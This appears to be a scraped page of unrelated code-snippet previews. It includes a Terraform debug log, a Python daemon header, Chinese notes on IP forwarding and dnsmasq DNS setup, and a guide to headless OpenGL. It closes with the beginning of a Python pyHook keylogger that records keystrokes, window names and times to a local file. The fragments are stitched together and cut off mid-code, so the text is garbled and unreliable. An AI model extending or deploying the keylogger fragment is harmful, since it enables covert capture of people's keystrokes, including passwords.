-
Service Mesh
2019/01/18 15:16:39 [INFO] Terraform version: 0.11.11 ac4fff416318bf0915a0ab80e062a99ef3724334 | |
2019/01/18 15:16:39 [INFO] Go runtime version: go1.11.1 | |
2019/01/18 15:16:39 [INFO] CLI args: []string{"/usr/local/bin/terraform", "plan"} | |
2019/01/18 15:16:39 [DEBUG] Attempting to open CLI config file: /Users/bhli/.terraformrc | |
2019/01/18 15:16:39 [DEBUG] File doesn't exist, but doesn't need to. Ignoring. | |
2019/01/18 15:16:39 [INFO] CLI command args: []string{"plan"} | |
2019/01/18 15:16:39 [INFO] command: empty terraform config, returning nil | |
2019/01/18 15:16:39 [DEBUG] command: no data state file found for backend config | |
2019/01/18 15:16:39 [DEBUG] New state was assigned lineage "e7edfb51-de84-0ac6-b071-1f0cc63805e5" | |
2019/01/18 15:16:39 [INFO] command: backend initialized: <nil> |
#! /usr/bin/env python2.7 | |
#encoding:utf-8 | |
#@description:一个python守护进程的例子 | |
#@tags:python,daemon | |
import sys | |
import os | |
import time | |
import atexit | |
from signal import SIGTERM |
- 开启ipv4转发
vi /etc/sysctl.conf
# 将net.ipv4.ip_forward=0更改为net.ipv4.ip_forward=1
sysctl -p
- 安装dnsmasq 和pdnsd解决dns污染
DNS的解析方案为 resolve.conf ==> dnsmasq ==> pdnsd
A full OpenGL profile requires X to be running. For X to run, it requires a display to be connected to the machine. Given that most server machines do not have this, it becomes difficult to run OpenGL.
This document details how to get OpenGL and X up and running without having a display connected to the sevrer.
You will need access to the remote system over SSH.
To run the tool, you will need libGL.so
and libX11.so
. These are installed when X and the NVIDIA Drivers are installed. So there is nothing special required to install these.
Another tool I would recommend strongly is glewinfo. Most linux distributions ship this with the glew-utils package. An alternate to glewinfo is glxinfo which is present on all systems with X. You can substitute glewinfo with glxinfo in all the commands below if needed.
# -*- coding: iso-8859-15 -*- | |
import pythoncom, pyHook, time | |
n = "ventana" | |
def OnKeyboardEvent(event): | |
global n | |
teclas = event.Key | |
ventana = event.WindowName | |
tiempo=time.asctime() | |
nm = open("write.txt","a") |